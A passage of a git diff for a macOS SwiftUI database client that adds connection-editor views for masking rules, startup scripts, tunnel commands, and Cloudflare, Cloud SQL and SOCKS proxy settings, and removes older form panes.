Text("^[\(rules.count) Rule](inflect: true)") + } + } + .onEditorFocusRequest(.builtIn(.maskingRules), store: store) { + focusedRule = store.draft.safety.maskingRules.first?.id + } + } +} + +// The pattern sits in the label column, so a rule lines up with the rows around it, and only it stretches; the two +// pop-ups and Remove trail it. +private struct SafeModeMaskingRuleRow: View { + @Binding var rule: MaskingRule + let focusedRule: FocusState.Binding + let onRemove: () -> Void + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + Picker(String(localized: "Match"), selection: $rule.target) { + ForEach(MaskingTarget.allCases) { target in + Text(verbatim: target.displayName).tag(target) + } + } + .labelsHidden() + .fixedSize() + .help(String(localized: "Match the pattern against column names or column types")) + .accessibilityLabel(String(localized: "Match")) + .accessibilityIdentifier("connection-form-masking-target") + + Picker(String(localized: "Mask"), selection: $rule.style) { + ForEach(MaskingStyle.allCases) { style in + Text(verbatim: style.displayName).tag(style) + } + } + .labelsHidden() + .fixedSize() + .help(String(localized: "How matching values are hidden")) + .accessibilityLabel(String(localized: "Mask")) + .accessibilityIdentifier("connection-form-masking-style") + + Button(action: onRemove) { + Image(systemName: "minus.circle") + } + .buttonStyle(.borderless) + .help(String(localized: "Remove Rule")) + .accessibilityLabel(String(localized: "Remove Rule")) + .accessibilityIdentifier("connection-form-masking-remove") + } + } label: { + TextField( + String(localized: "Pattern"), + text: $rule.pattern, + prompt: Text(verbatim: rule.target == .column ? "*.email" : "uuid") + ) + .labelsHidden() + .autocorrectionDisabled() + .focused(focusedRule, equals: rule.id) + .accessibilityLabel(String(localized: "Pattern")) + .accessibilityIdentifier("connection-form-masking-pattern") + } + .accessibilityElement(children: .contain) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift new file mode 100644 index 0000000000..95b8d50789 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift @@ -0,0 +1,72 @@ +import SwiftUI + +struct StartupFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Form { + ForEach(sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + .id(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = footer(for: section) { + Text(verbatim: footer) + } + } + } + } + .formStyle(.grouped) + .scrollsToEditorFocus(.startup, store: store) + } + + private var sections: [SectionLayout] { + store.layout.facet(.startup)?.sections ?? [] + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.startupCommands): + EditorCodeEditor( + text: store.binding(\.options.startupCommands), + language: store.startupCommandsAreSQL ? .sql : .plain, + row: row, + store: store + ) + case .builtIn(.preConnectScript): + EditorCodeEditor(text: store.binding(\.options.preConnectScript), language: .shell, row: row, store: store) + case .builtIn(.scriptTimeout): + EditorOptionalNumberRow( + String(localized: "Timeout"), + value: store.binding(\.options.scriptTimeoutSeconds), + defaultValue: ConnectionScriptRunner.defaultTimeoutSeconds, + range: ConnectionScriptRunner.timeoutSecondsRange, + unit: String(localized: "seconds"), + row: row, + store: store + ) + .help(String(localized: "How long each script may run, from 1 to 300 seconds.")) + case .builtIn(.postDisconnectScript): + EditorCodeEditor(text: store.binding(\.options.postDisconnectScript), language: .shell, row: row, store: store) + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + // The engine's copy and example are SQL; another engine's commands are its own language. + private func footer(for section: SectionLayout) -> String? { + guard section.rows.contains(.builtIn(.startupCommands)), !store.startupCommandsAreSQL else { + return section.footer + } + return String(localized: "Commands to run after connecting. One per line or separated by semicolons.") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift new file mode 100644 index 0000000000..d12fcecd0f --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift @@ -0,0 +1,79 @@ +// +// TransportCommandRows.swift +// TablePro +// + +import SwiftUI + +struct TransportCommandRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .tunnelCommandMethod: + SSHAndProxiesPicker( + String(localized: "Method"), + selection: store.binding(\.tunnelCommand.config.method), + row: editorRow, + store: store + ) { + ForEach(TunnelCommandMethod.allCases) { method in + Text(method.displayName).tag(method) + } + } + case .kubernetesResource: + text(String(localized: "Resource"), \.tunnelCommand.config.kubernetesResource, prompt: "service/postgres") + case .kubernetesNamespace: + text(String(localized: "Namespace"), \.tunnelCommand.config.kubernetesNamespace, prompt: "production") + case .kubernetesContext: + text(String(localized: "Context"), \.tunnelCommand.config.kubernetesContext, prompt: String(localized: "Optional")) + case .awsTarget: + text(String(localized: "Target"), \.tunnelCommand.config.awsTarget, prompt: "i-0123456789abcdef0") + case .awsProfile: + text(String(localized: "Profile"), \.tunnelCommand.config.awsProfile, prompt: String(localized: "Optional")) + case .awsRegion: + text(String(localized: "Region"), \.tunnelCommand.config.awsRegion, prompt: String(localized: "Optional")) + case .tunnelCommand: + EditorCodeEditor( + text: store.binding(\.tunnelCommand.config.command), + language: .shell, + row: editorRow, + store: store, + minHeight: 64 + ) + case .tunnelCommandExecutable: + EditorPathRow( + String(localized: "Executable Path"), + path: store.binding(\.tunnelCommand.config.executablePath), + prompt: executablePrompt, + row: editorRow, + store: store + ) { + await TransportFilePanel.chooseExecutable(currentPath: store.draft.tunnelCommand.config.executablePath, store: store) + } + case .tunnelCommandPreview: + if let preview = store.tunnelCommandPreview { + CodeWell(preview, font: .system(.body, design: .monospaced)) + .accessibilityElement(children: .contain) + .accessibilityIdentifier(editorRow.accessibilityIdentifier) + } + default: + EmptyView() + } + } + + private var executablePrompt: String { + switch store.draft.tunnelCommand.config.method { + case .kubectl: return "/opt/homebrew/bin/kubectl" + case .awsSSM: return "/usr/local/bin/aws" + case .custom: return "" + } + } + + private func text(_ title: String, _ keyPath: WritableKeyPath, prompt: String) -> some View { + EditorTextRow(title, text: store.binding(keyPath), prompt: prompt, row: editorRow, store: store) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift new file mode 100644 index 0000000000..f15d9ec2a8 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift @@ -0,0 +1,321 @@ +// +// TransportProxyRows.swift +// TablePro +// + +import AppKit +import SwiftUI + +struct TransportCloudflareRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .cloudflareHostname: + EditorTextRow( + String(localized: "Hostname"), + text: store.binding(\.cloudflare.accessHostname), + prompt: "db.example.com", + row: editorRow, + store: store + ) + case .cloudflareAuthMethod: + SSHAndProxiesPicker(String(localized: "Method"), selection: store.binding(\.cloudflare.authMethod), row: editorRow, store: store) { + ForEach(CloudflareAuthMethod.allCases) { method in + Text(method.displayName).tag(method) + } + } + case .cloudflareSignIn: + signInRow + case .cloudflareTokenId: + EditorSecureRow( + String(localized: "Client ID"), + text: store.binding(\.cloudflare.serviceTokenId), + prompt: String(localized: "Required"), + row: editorRow, + store: store + ) + case .cloudflareTokenSecret: + EditorSecureRow( + String(localized: "Client Secret"), + text: store.binding(\.cloudflare.serviceTokenSecret), + prompt: String(localized: "Required"), + row: editorRow, + store: store + ) + case .cloudflareAutomaticPort: + TransportToggle(String(localized: "Choose Port Automatically"), isOn: store.binding(\.cloudflare.automaticPort), row: editorRow, store: store) + case .cloudflareLocalPort: + EditorTextRow(String(localized: "Local Port"), text: store.binding(\.cloudflare.localPort), prompt: "5432", row: editorRow, store: store) + case .cloudflareExposeToLAN: + TransportToggle(String(localized: "Expose to Local Network"), isOn: store.binding(\.cloudflare.exposeToLAN), row: editorRow, store: store) + case .cloudflareBinary: + TransportBinaryRow( + path: store.binding(\.cloudflare.binaryPath), + detection: store.cloudflaredDetection, + notFoundMessage: String(localized: "cloudflared not found. Install it with “brew install cloudflared”, or choose the binary."), + row: editorRow, + store: store + ) + default: + EmptyView() + } + } + + private var signInRow: some View { + let hostname = store.draft.cloudflare.accessHostname.trimmingCharacters(in: .whitespacesAndNewlines) + return LabeledContent { + Button(store.isCloudflareSignInRunning ? String(localized: "Signing In…") : String(localized: "Sign In with Browser…")) { + store.signInWithCloudflare() + } + .disabled(hostname.isEmpty || store.isCloudflareSignInRunning) + .accessibilityIdentifier(editorRow.accessibilityIdentifier) + } label: { + Text(String(localized: "Access Token")) + if let error = store.cloudflareSignInError { + NoticeLabel(error, severity: .error) + .textSelection(.enabled) + } + } + .editorRowFocus(editorRow, store: store) + } +} + +struct TransportCloudSQLRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .cloudSQLInstance: + EditorTextRow( + String(localized: "Instance Connection Name"), + text: store.binding(\.cloudSQLProxy.instanceConnectionName), + prompt: "project:region:instance", + row: editorRow, + store: store + ) + case .cloudSQLAuthMode: + SSHAndProxiesPicker(String(localized: "Method"), selection: store.binding(\.cloudSQLProxy.authMode), row: editorRow, store: store) { + ForEach(CloudSQLProxyAuthMode.allCases) { mode in + Text(mode.displayName).tag(mode) + } + } + case .cloudSQLServiceAccountKey: + EditorCodeEditor( + text: store.binding(\.cloudSQLProxy.serviceAccountKeyJSON), + language: .json, + row: editorRow, + store: store + ) + case .cloudSQLIAMAuth: + TransportToggle( + String(localized: "Use IAM Database Authentication"), + isOn: store.binding(\.cloudSQLProxy.useIAMAuth), + row: editorRow, + store: store + ) + case .cloudSQLPrivateIP: + TransportToggle(String(localized: "Connect over Private IP"), isOn: store.binding(\.cloudSQLProxy.usePrivateIP), row: editorRow, store: store) + case .cloudSQLAutomaticPort: + TransportToggle( + String(localized: "Choose Port Automatically"), + isOn: store.binding(\.cloudSQLProxy.automaticPort), + row: editorRow, + store: store + ) + case .cloudSQLLocalPort: + EditorTextRow(String(localized: "Local Port"), text: store.binding(\.cloudSQLProxy.localPort), prompt: "5432", row: editorRow, store: store) + case .cloudSQLBinary: + TransportBinaryRow( + path: store.binding(\.cloudSQLProxy.binaryPath), + detection: store.cloudSQLProxyDetection, + notFoundMessage: String( + localized: "cloud-sql-proxy not found. Install it with “brew install cloud-sql-proxy”, download it, or choose the binary." + ), + row: editorRow, + store: store, + downloadPhase: store.cloudSQLProxyDownloadPhase + ) + default: + EmptyView() + } + } +} + +struct TransportSOCKSRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .socksHost: + EditorTextRow(String(localized: "Host"), text: store.binding(\.socksProxy.host), prompt: "proxy.example.com", row: editorRow, store: store) + case .socksPort: + EditorTextRow(String(localized: "Port"), text: store.binding(\.socksProxy.port), prompt: "1080", row: editorRow, store: store) + case .socksUsername: + EditorTextRow(String(localized: "Username"), text: store.binding(\.socksProxy.username), row: editorRow, store: store) + case .socksPassword: + EditorSecureRow(String(localized: "Password"), text: store.binding(\.socksProxy.password), row: editorRow, store: store) + default: + EmptyView() + } + } +} + +struct TransportToggle: View { + private let title: String + @Binding private var isOn: Bool + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + + init(_ title: String, isOn: Binding, row: EditorRow, store: ConnectionEditorStore) { + self.title = title + _isOn = isOn + self.row = row + self.store = store + } + + var body: some View { + Toggle(isOn: store.tracking($isOn, row: row)) { + EditorRowLabel(title, row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + } +} + +// A helper binary: empty finds it on its own, and the label says what was found. +struct TransportBinaryRow: View { + @Binding var path: String + let detection: ConnectionEditorStore.BinaryDetection + let notFoundMessage: String + let row: EditorRow + @ObservedObject var store: ConnectionEditorStore + var downloadPhase: CloudSQLProxyDownload.Phase? + + private var usesDetection: Bool { + path.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty + } + + private var isDownloading: Bool { downloadPhase?.isDownloading == true } + + private var downloadFailure: String? { + if case .failed(let message) = downloadPhase { return message } + return nil + } + + private var offersDownload: Bool { + guard downloadPhase != nil, !isDownloading, usesDetection else { return false } + return detection == .notFound || downloadFailure != nil + } + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + TextField(String(localized: "Path"), text: store.tracking($path, row: row), prompt: Text(String(localized: "Automatic"))) + .labelsHidden() + .autocorrectionDisabled() + .editorPathField(path) + .accessibilityIdentifier(row.accessibilityIdentifier) + Button(String(localized: "Choose…")) { + Task { + if let chosen = await TransportFilePanel.chooseExecutable(currentPath: path, store: store) { + store.noteEdited(row) + path = chosen + } + } + } + .accessibilityIdentifier("\(row.accessibilityIdentifier)-choose") + if offersDownload { + Button(String(localized: "Download")) { + store.downloadCloudSQLProxy() + } + .accessibilityIdentifier("\(row.accessibilityIdentifier)-download") + } + } + } label: { + Text(String(localized: "Path")) + status + } + .editorRowFocus(row, store: store) + + if case .downloading(let fraction) = downloadPhase { + LabeledContent { + HStack(spacing: 8) { + ProgressView(value: fraction) + .labelsHidden() + Button(String(localized: "Cancel")) { + store.cancelCloudSQLProxyDownload() + } + .accessibilityIdentifier("\(row.accessibilityIdentifier)-download-cancel") + } + } label: { + Text(String(localized: "Downloading cloud-sql-proxy")) + if let fraction { + Text(fraction, format: .percent.precision(.fractionLength(0))) + } + } + } + } + + @ViewBuilder + private var status: some View { + if let downloadFailure { + NoticeLabel(downloadFailure, severity: .error) + .textSelection(.enabled) + } else if usesDetection, !isDownloading { + switch detection { + case .found(let found): + Text(String(format: String(localized: "Detected: %@"), found)) + .textSelection(.enabled) + case .notFound: + NoticeLabel(notFoundMessage, severity: .warning) + .textSelection(.enabled) + case .notChecked, .checking: + EmptyView() + } + } + } +} + +@MainActor +enum TransportFilePanel { + static func chooseSSHKey(message: String, store: ConnectionEditorStore) async -> String? { + let panel = NSOpenPanel() + panel.message = message + panel.showsHiddenFiles = true + panel.directoryURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent(".ssh", isDirectory: true) + return await present(panel, store: store) + } + + static func chooseExecutable(currentPath: String, store: ConnectionEditorStore) async -> String? { + let panel = NSOpenPanel() + let typed = (currentPath.trimmingCharacters(in: .whitespacesAndNewlines) as NSString).expandingTildeInPath + if typed.hasPrefix("/") { + panel.directoryURL = URL(fileURLWithPath: typed).deletingLastPathComponent() + } else { + let homebrew = "/opt/homebrew/bin" + let folder = FileManager.default.fileExists(atPath: homebrew) ? homebrew : "/usr/local/bin" + panel.directoryURL = URL(fileURLWithPath: folder, isDirectory: true) + } + return await present(panel, store: store) + } + + private static func present(_ panel: NSOpenPanel, store: ConnectionEditorStore) async -> String? { + panel.allowsMultipleSelection = false + panel.canChooseDirectories = false + panel.canChooseFiles = true + guard await EditorFilePanel.present(panel, in: EditorFilePanel.window(for: store)) == .OK, + let url = panel.url + else { return nil } + return url.path(percentEncoded: false) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/AppearancePaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/AppearancePaneView.swift deleted file mode 100644 index f01c785289..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/AppearancePaneView.swift +++ /dev/null @@ -1,37 +0,0 @@ -// -// AppearancePaneView.swift -// TablePro -// - -import SwiftUI - -/// How this connection is recognised in the connection list and the window chrome. -struct AppearancePaneView: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Section { - LabeledContent(String(localized: "Icon")) { - SymbolWell( - iconName: $coordinator.customization.iconName, - subject: .connection(coordinator.network.type), - color: coordinator.customization.color, - accessibilityIdentifier: "connection-form-icon" - ) - } - LabeledContent(String(localized: "Color")) { - ConnectionColorPicker(selectedColor: $coordinator.customization.color) - } - LabeledContent(String(localized: "Tags")) { - ConnectionTagEditor(tagIds: $coordinator.customization.tagIds) - } - LabeledContent(String(localized: "Group")) { - ConnectionGroupPicker(selectedGroupId: $coordinator.customization.groupId) - } - } footer: { - Text(String(localized: "The icon and color mark this connection in the connection list and its window.")) - .font(.caption) - .foregroundStyle(.secondary) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/GeneralPaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/GeneralPaneView.swift deleted file mode 100644 index ff953b55d4..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/GeneralPaneView.swift +++ /dev/null @@ -1,429 +0,0 @@ -// -// GeneralPaneView.swift -// TablePro -// - -import AppKit -import SwiftUI -import TableProPluginKit -import UniformTypeIdentifiers - -/// What a connection is: its name, its type, where it lives, and who it signs in as. -/// -/// Everything about how the bytes get there belongs to `NetworkPaneView`, so a connection that -/// needs no tunnel and no TLS never sees a control about either. -struct GeneralPaneView: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - let nameFocused: FocusState.Binding - - private var type: DatabaseType { coordinator.network.type } - private var connectionMode: ConnectionMode { - PluginManager.shared.connectionMode(for: type) - } - - private var showsBuiltInDatabaseField: Bool { - coordinator.network.showsBuiltInDatabaseField - } - - var body: some View { - Group { - identitySection - connectionSection - authenticationSection - } - } - - // MARK: - Identity - - private var identitySection: some View { - Section { - TextField( - String(localized: "Name"), - text: $coordinator.network.name, - prompt: Text(String(localized: "Connection name")) - ) - .focused(nameFocused) - .accessibilityIdentifier("connection-form-name") - - LabeledContent(String(localized: "Type")) { - HStack(spacing: 8) { - ConnectionTile( - type: type, - identityColor: coordinator.customization.color.isDefault ? nil : coordinator.customization.color, - size: 22 - ) - Text(type.rawValue) - Spacer(minLength: 8) - Button(String(localized: "Change…")) { - coordinator.isChoosingType = true - } - .controlSize(.small) - .accessibilityIdentifier("connection-form-change-type") - } - } - - Picker(String(localized: "Environment"), selection: $coordinator.customization.environment) { - ForEach(ConnectionEnvironment.allCases) { environment in - environmentLabel(environment).tag(environment) - } - } - .accessibilityIdentifier("connection-form-environment") - } - } - - @ViewBuilder - private func environmentLabel(_ environment: ConnectionEnvironment) -> some View { - if let symbol = environment.symbolName { - Label(environment.displayName, systemImage: symbol) - } else { - Text(environment.displayName) - } - } - - // MARK: - Connection - - @ViewBuilder - private var connectionSection: some View { - switch connectionMode { - case .fileBased: - Section(String(localized: "Database File")) { - HStack { - TextField( - String(localized: "File Path"), - text: $coordinator.network.database, - prompt: Text(filePathPrompt) - ) - .accessibilityIdentifier("connection-form-file-path") - DatabaseFileButtons(type: type, path: $coordinator.network.database) - } - } - case .apiOnly: - if showsBuiltInDatabaseField { - Section(String(localized: "Connection")) { - TextField( - containerEntityName, - text: $coordinator.network.database, - prompt: Text(containerEntityPlaceholder) - ) - } - } - case .network: - Section { - if coordinator.network.supportsLocalSocket { - LocalSocketEndpointPicker(coordinator: coordinator) - } - if coordinator.network.usesLocalSocket { - LocalSocketPathField(coordinator: coordinator) - if coordinator.network.localSocketIsDirectory { - portField - } - } else { - hostFieldsView - } - if showsBuiltInDatabaseField { - TextField( - containerEntityName, - text: $coordinator.network.database, - prompt: Text(containerEntityPlaceholder) - ) - } - } header: { - Text(String(localized: "Connection")) - } footer: { - if coordinator.network.usesLocalSocket { - LocalSocketFooter( - status: coordinator.network.localSocketFileStatus, - socketFile: coordinator.network.resolvedLocalSocketEndpoint?.socketFile, - isDirectory: coordinator.network.localSocketIsDirectory - ) - } else if usesForwardSocket { - Text(String(localized: """ - Host and Port are unused. The SSH tunnel forwards to the socket path set \ - on the Network tab. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - } - - private var containerEntityName: String { - PluginManager.shared.containerEntityName(for: type) - } - - private var containerEntityPlaceholder: String { - String(format: String(localized: "%@_name"), containerEntityName.lowercased()) - } - - @ViewBuilder - private var hostFieldsView: some View { - let connectionFields = coordinator.network.connectionFields - if coordinator.network.hasHostListField { - ForEach(connectionFields, id: \.id) { field in - if case .hostList = field.fieldType, coordinator.network.isFieldVisible(field) { - HostListFieldRow( - label: field.label, - placeholder: field.placeholder, - defaultPort: type.defaultPort, - value: networkFieldBinding(for: field) - ) - .accessibilityIdentifier("connection-field-\(field.id)") - } - } - } else { - TextField( - String(localized: "Host"), - text: $coordinator.network.host, - prompt: Text("localhost") - ) - .accessibilityIdentifier("connection-form-host") - .disabled(usesForwardSocket) - portField - .disabled(usesForwardSocket) - portTLSNotice - } - ForEach(connectionFields, id: \.id) { field in - if !isHostListField(field) && coordinator.network.isFieldVisible(field) { - ConnectionFieldRow( - field: field, - value: networkFieldBinding(for: field) - ) - } - } - } - - private var portField: some View { - TextField( - String(localized: "Port"), - text: portBinding, - prompt: Text(defaultPortString) - ) - .accessibilityIdentifier("connection-form-port") - } - - private var usesForwardSocket: Bool { - coordinator.ssh.state.enabled && coordinator.network.forwardsToUnixSocket - } - - private var portBinding: Binding { - Binding( - get: { coordinator.network.port }, - set: { coordinator.network.setPort($0) } - ) - } - - @ViewBuilder - private var portTLSNotice: some View { - let port = coordinator.network.resolvedPort - if coordinator.supportsSSL, let impliedMode = type.impliedSSLMode(forPort: port) { - if coordinator.ssl.mode == impliedMode { - Text(String( - format: String(localized: "Port %lld uses TLS, so SSL Mode is %@."), - port, - impliedMode.displayLabel - )) - .font(.caption) - .foregroundStyle(.secondary) - .accessibilityIdentifier("connection-form-port-tls-note") - } else if coordinator.ssl.mode == .disabled { - HStack { - NoticeLabel(String(format: String(localized: "Port %lld usually requires TLS, and SSL Mode is Disabled."), port)) - .font(.caption) - Spacer() - Button(String(format: String(localized: "Use %@"), impliedMode.displayLabel)) { - coordinator.ssl.select(impliedMode) - } - .controlSize(.small) - .accessibilityIdentifier("connection-form-port-tls-use") - } - } - } - } - - // MARK: - Authentication - - @ViewBuilder - private var authenticationSection: some View { - if connectionMode != .fileBased { - let authFields = coordinator.auth.authFields.splitCredentialControllers() - Section(String(localized: "Authentication")) { - /// Shown for API-only engines too. Their credentials are plugin secure fields, - /// which a profile carries, and hiding the picker left a connection changed from a - /// network type to an API-only one stuck in a profile with no control to leave it. - CredentialProfilePicker(auth: coordinator.auth) - if coordinator.auth.usesCredentialProfile { - ForEach(authFields.rest, id: \.id) { field in - authFieldRow(field) - } - } else { - ForEach(authFields.usernameControllers, id: \.id) { field in - authFieldRow(field) - } - if connectionMode == .network && !coordinator.auth.hidesUsername { - TextField( - String(localized: "Username"), - text: $coordinator.auth.username - ) - .accessibilityIdentifier("connection-form-username") - } - ForEach(authFields.passwordControllers, id: \.id) { field in - authFieldRow(field) - } - if !coordinator.auth.hidesPassword { - PasswordPromptToggle(coordinator: coordinator) - } - ForEach(authFields.rest, id: \.id) { field in - authFieldRow(field) - } - kerberosCaption - if coordinator.auth.usePgpass { - pgpassStatusView - } - } - } - } - } - - @ViewBuilder - private func authFieldRow(_ field: ConnectionField) -> some View { - if coordinator.auth.isFieldVisible(field) { - if isLocalDatabaseFileField(field) { - HStack { - ConnectionFieldRow(field: field, value: authFieldBinding(for: field)) - DatabaseFileButtons(type: type, path: authFieldBinding(for: field)) - } - } else if FilePathConnectionFieldRow.isFilePathField(field) { - FilePathConnectionFieldRow( - field: field, - value: authFieldBinding(for: field), - onBrowse: { browseForAuthFile(field: field) } - ) - } else { - ConnectionFieldRow( - field: field, - value: authFieldBinding(for: field) - ) - } - } - } - - @ViewBuilder - private var pgpassStatusView: some View { - switch coordinator.auth.pgpassStatus { - case .notChecked: - EmptyView() - case .fileNotFound: - NoticeLabel(String(localized: "~/.pgpass not found")) - .font(.caption) - case .badPermissions: - NoticeLabel(String(localized: "~/.pgpass has incorrect permissions (needs chmod 0600)")) - .font(.caption) - case .matchFound: - NoticeLabel(String(localized: "~/.pgpass found, matching entry exists"), severity: .success) - .font(.caption) - case .noMatch: - NoticeLabel(String(localized: "~/.pgpass found, no matching entry")) - .font(.caption) - } - } - - @ViewBuilder - private var kerberosCaption: some View { - if usesWindowsAuthentication || KerberosAuthFields.isSelected(in: coordinator.auth.additionalFieldValues) { - NoticeLabel( - String(localized: "Leave the principal and password blank to use your existing Kerberos ticket. Run kinit user@REALM.COM in Terminal first if you don't have one."), - severity: .info - ) - .font(.caption) - // MariaDB's server names its own principal, so only these two take it from the host. - if hostIsIPAddress, usesWindowsAuthentication || type.pluginTypeId == "PostgreSQL" { - NoticeLabel(kerberosHostWarning) - .font(.caption) - } - } - } - - private var kerberosHostWarning: String { - if usesWindowsAuthentication { - return String(localized: "Windows Authentication needs the server's hostname, not an IP address. Kerberos service principals aren't registered against IP addresses.") - } - return String(localized: "Kerberos needs the server's hostname, not an IP address. Service principals aren't registered against IP addresses.") - } - - private var usesWindowsAuthentication: Bool { - type.pluginTypeId == "SQL Server" && coordinator.auth.additionalFieldValues["mssqlAuthMethod"] == "windows" - } - - private var hostIsIPAddress: Bool { - coordinator.network.resolvedHostIsIPAddress - } - - // MARK: - Helpers - - private func isHostListField(_ field: ConnectionField) -> Bool { - if case .hostList = field.fieldType { return true } - return false - } - - private func networkFieldBinding(for field: ConnectionField) -> Binding { - Binding( - get: { - coordinator.network.additionalFieldValues[field.id] - ?? field.defaultValue ?? "" - }, - set: { coordinator.network.additionalFieldValues[field.id] = $0 } - ) - } - - private func authFieldBinding(for field: ConnectionField) -> Binding { - Binding( - get: { - coordinator.auth.additionalFieldValues[field.id] - ?? field.defaultValue ?? "" - }, - set: { coordinator.auth.additionalFieldValues[field.id] = $0 } - ) - } - - private var defaultPortString: String { - let port = type.defaultPort - return port == 0 ? "" : String(port) - } - - private var filePathPrompt: String { - let extensions = PluginManager.shared.fileExtensions(for: type) - let ext = (extensions.first ?? "db") - .trimmingCharacters(in: CharacterSet(charactersIn: ". ")) - guard !ext.isEmpty else { return "/path/to/database.db" } - return "/path/to/database.\(ext)" - } - - /// DuckDB and libSQL keep their database path in a field of their own rather than in - /// `database`, and it gets the same Browse… and New… as the built-in Database File. - private func isLocalDatabaseFileField(_ field: ConnectionField) -> Bool { - PluginManager.shared.localFilePathField(for: type) == .additionalField(field.id) - } - - /// A plugin field that names some other file is not one of the driver's database kinds, so - /// this panel stays open to any file. - private func browseForAuthFile(field: ConnectionField) { - presentFilePanel(contentTypes: [.data]) { path in - coordinator.auth.additionalFieldValues[field.id] = path - } - } - - private func presentFilePanel(contentTypes: [UTType], onSelect: @escaping (String) -> Void) { - guard let window = NSApp.keyWindow else { return } - let panel = NSOpenPanel() - panel.allowedContentTypes = contentTypes - panel.allowsMultipleSelection = false - panel.canChooseDirectories = false - - panel.beginSheetModal(for: window) { response in - if response == .OK, let url = panel.url { - onSelect(url.path(percentEncoded: false)) - } - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/LocalSocketRows.swift b/apple/TablePro/Views/ConnectionForm/Panes/LocalSocketRows.swift deleted file mode 100644 index d295022658..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/LocalSocketRows.swift +++ /dev/null @@ -1,103 +0,0 @@ -// -// LocalSocketRows.swift -// TablePro -// - -import SwiftUI - -struct LocalSocketEndpointPicker: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Picker(String(localized: "Connect Using"), selection: endpointBinding) { - Text(String(localized: "Host and Port")).tag(NetworkPaneViewModel.Endpoint.hostAndPort) - Text(String(localized: "Socket")).tag(NetworkPaneViewModel.Endpoint.localSocket) - } - .accessibilityIdentifier("connection-form-endpoint") - } - - private var endpointBinding: Binding { - Binding( - get: { coordinator.network.endpoint }, - set: { coordinator.selectEndpoint($0) } - ) - } -} - -struct LocalSocketPathField: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - let suggestions = coordinator.network.localSocketSuggestions - if suggestions.isEmpty { - TextField( - String(localized: "Socket"), - text: $coordinator.network.localSocketPath, - prompt: Text(coordinator.network.localSocketPrompt) - ) - .accessibilityIdentifier("connection-form-socket-path") - } else { - LabeledContent(String(localized: "Socket")) { - SuggestionComboBox( - suggestions: { suggestions }, - placeholder: coordinator.network.localSocketPrompt, - accessibilityLabel: String(localized: "Socket"), - accessibilityIdentifier: "connection-form-socket-path", - value: $coordinator.network.localSocketPath - ) - } - } - } -} - -struct LocalSocketFooter: View { - let status: LocalSocketFileStatus? - var socketFile: String? - var isDirectory = false - - var body: some View { - Text(message) - .font(.caption) - .foregroundStyle(.secondary) - .accessibilityIdentifier("connection-form-socket-status") - } - - private var message: String { - isDirectory ? directoryMessage : fileMessage - } - - private var fileMessage: String { - switch status { - case .missing: - return String(localized: "Nothing is at this path. Start the server, or check the path.") - case .notSocket: - return String(localized: "This file is not a socket.") - case .socket, .none: - return String(localized: "The server's socket file on this Mac. SELECT @@socket in the mysql client shows it.") - } - } - - private var directoryMessage: String { - guard let socketFile else { - return String(localized: """ - The folder with the server's socket, or the socket file. SHOW unix_socket_directories \ - in psql lists the folders. - """) - } - let file = (socketFile as NSString).abbreviatingWithTildeInPath - switch status { - case .missing: - return String( - format: String(localized: "Nothing is at %@. Start the server, or check the folder and the port."), - file - ) - case .notSocket: - return String(format: String(localized: "%@ is not a socket."), file) - case .socket, .none: - return String( - format: String(localized: "Connects to %@. The port names the socket file in the folder."), - file - ) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/NetworkPaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/NetworkPaneView.swift deleted file mode 100644 index d7f7910bba..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/NetworkPaneView.swift +++ /dev/null @@ -1,98 +0,0 @@ -// -// NetworkPaneView.swift -// TablePro -// - -import SwiftUI -import TableProPluginKit -import TableProSSHConfig - -/// How the connection reaches its database: one transport, then how it is encrypted. -/// -/// The five transports used to be five sidebar panes with an 